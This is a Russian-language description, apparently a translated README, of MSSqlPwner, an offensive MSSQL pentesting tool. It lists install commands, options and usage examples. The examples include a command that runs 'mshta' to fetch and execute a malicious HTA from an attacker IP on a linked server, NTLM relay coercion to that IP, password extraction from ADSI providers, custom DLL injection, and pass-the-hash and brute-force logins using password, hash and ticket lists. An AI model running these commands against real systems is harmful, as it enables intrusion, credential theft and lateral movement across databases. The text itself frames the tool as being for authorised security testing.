
Продвинутый инструмент для пентестинга MSSQL для латерального перемещения, выполнения команд, NTLM-ретрансляции и атак брутфорса через связанные серверы и различные методы аутентификации.
MSSqlPwner — это продвинутый и многофункциональный инструмент для пентеста, предназначенный для бесшовного взаимодействия и взлома MSSQL-серверов.
Этот инструмент основан на impacket, что позволяет атакующим аутентифицироваться в базах данных с помощью паролей в открытом виде, NTLM-хешей и билетов Kerberos.
С помощью MSSqlPwner пользователи могут выполнять пользовательские команды различными методами, включая пользовательскую сборку (custom assembly), xp_cmdshell и sp_oacreate (Ole Automation Procedures) и многое другое.
Инструмент начинает с рекурсивного перечисления связанных серверов и возможных олицетворений, чтобы собрать все возможные цепочки для выполнения команд.
Также инструмент MSSqlPwner может использоваться для NTLM-ретрансляции с использованием таких функций, как xp_dirtree, xp_subdirs, xp_fileexist.
Этот инструмент можно использовать для оценки бокового перемещения и исследования связанных серверов.
Если аутентифицированный пользователь MSSQL не имеет разрешения на выполнение определенных операций, инструмент может найти правильную цепочку, которая позволит выполнить команду. Например, если ваш пользователь не может выполнять команды в текущем контексте, инструмент построит цепочку, которая использует связанный сервер и подключится обратно к нашему серверу с повышенными привилегиями.
Начать работу с mssqlpwner очень просто. Вы можете сделать это, установив напрямую из репозитория:
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
Или, используя pipx (а вам стоит это сделать), попробуйте следующее:
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
И теперь вы можете использовать свой новый любимый инструмент:
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive
Этот инструмент поддерживает несколько методов аутентификации, описанных ниже.
Этот инструмент предназначен для специалистов по безопасности и исследователей только для целей тестирования и не должен использоваться в незаконных целях.
interactive: позволяет использовать инструмент в интерактивном режиме с выполнением в реальном времени.enumerate: перечисляет связанные серверы и цепочки.get-chain-list получает список цепочек:
-filter-hostname HOSTNAME - Получить отфильтрованные результаты по конкретному имени хоста.get-link-server-list получает список связанных серверов.set-chain Установить ID цепочки (только для интерактивного режима!)
CHAIN - ID цепочки для установки.set-link-server Установить связанный сервер (только для интерактивного режима!)
LINK - Связанный сервер для установки.get-rev2self-queries получить запросы для возврата к SELF (только для интерактивного режима!).get-adsi-provider-list получить список провайдеров ADSI.exec Выполнить команды с помощью exec на локальном сервере или на связанных серверах
COMMAND - Команда для выполнения.-command_execution_method - Метод выполнения команды.
xp_cmdshell - Выполнение команд с помощью процедуры xp_cmdshell (по умолчанию).sp_oacreate - Выполнение команд с помощью процедуры Ole Automation Procedure (должно использоваться как "cmd /c something").retrieve-password Извлечение паролей из провайдеров ADSI.
-listen-port - Порт для прослушивания (по умолчанию: 1389).-adsi-provider - используемый провайдер ADSI (если не указан, будет выбран автоматически).-arch - используемая архитектура (если не указана, будет выбрана автоматически).
x86 - Использовать архитектуру x86.x64 - Использовать архитектуру x64.ntlm-relay - Принудительная NTLM-ретрансляция на сервер.
SMB_SERVER - SMB-сервер для ретрансляции.-relay-method - Используемый метод ретрансляции.
xp_dirtree - Использовать процедуру xp_dirtree (по умолчанию).xp_subdirs - Использовать процедуру xp_subdirs.xp_fileexist - Использовать процедуру xp_fileexist (в некоторых ситуациях этот модуль должен выполняться из привилегированной цепочки).custom-asm - Выполнить процедуры с использованием пользовательской сборки
COMMAND - Команда/путь или запрос для использования.-procedure-name - Имя используемой процедуры (по умолчанию: execute_command).
execute_command - Выполнить команды с использованием пользовательской сборки (по умолчанию).run_query - Выполнить запросы с использованием пользовательской сборки.run_query_system_service - Выполнить запросы с использованием пользовательской сборки от имени системного пользователя (например, SqlSVC).inject-custom-asm Внедрить код с помощью пользовательской сборки.
file_location - Путь к файлу для внедрения.-procedure-name - Имя используемой процедуры (по умолчанию: ).direct-query Выполнить прямые запросыQUERY - Запрос для выполнения.-query-method - Используемый метод запроса.
OpenQuery - Использовать процедуру OpenQuery (по умолчанию).exec_at - Использовать процедуру exec AT.brute Запустить подбор (может принимать билеты, хеши и пароли)TARGETS_FILE - файл, содержащий хосты и IP-адреса для подбора.-ul - файл, содержащий пользователей для подбора.-pl - файл, содержащий пароли для подбора.-tl - файл, содержащий билеты для подбора.-hl - файл, содержащий хеши для подбора.-link-name - Имя используемого связанного сервера-chain-id - ID используемой цепочки-max-link-depth - Максимальная глубина связанных серверов (по умолчанию: 10)-max-impersonation-depth - Максимальная глубина олицетворений (по умолчанию: 10)-auto-yes - Автоматически отвечать "да" на все вопросы (по умолчанию: False)-timeout - Тайм-аут (по умолчанию: 30)MSSqlPwner предоставляет возможности для оценки бокового перемещения и исследования связанных серверов. В сценариях, где текущая сессия не имеет административных привилегий, инструмент пытается найти цепочку, которая повышает его собственные привилегии через связанные серверы. Если сессия на связанном сервере имеет более высокие привилегии, инструмент может взаимодействовать со связанным сервером и выполнить обратный связанный запрос к хосту с повышенными привилегиями, обеспечивая боковое перемещение на целевой сервер.
Поддерживается несколько методов аутентификации, включая:
Инструмент адаптируется к различным сценариям и средам, проверяя эффективность механизмов аутентификации.
Выведите оценку среды MSSQL на новый уровень с помощью возможностей и универсальности MSSqlPwner. Откройте новые возможности для бокового перемещения, скрытых запросов и точных оценок безопасности с помощью инструмента MSSqlPwner.
# Interactive mode
mssqlpwner corp.com/user:[email protected] -windows-auth interactive
# Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250
# Executing direct query
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"
# Retrieving password from the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password
# Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
rev2self вернуться к SELF (только для интерактивного режима!).Inject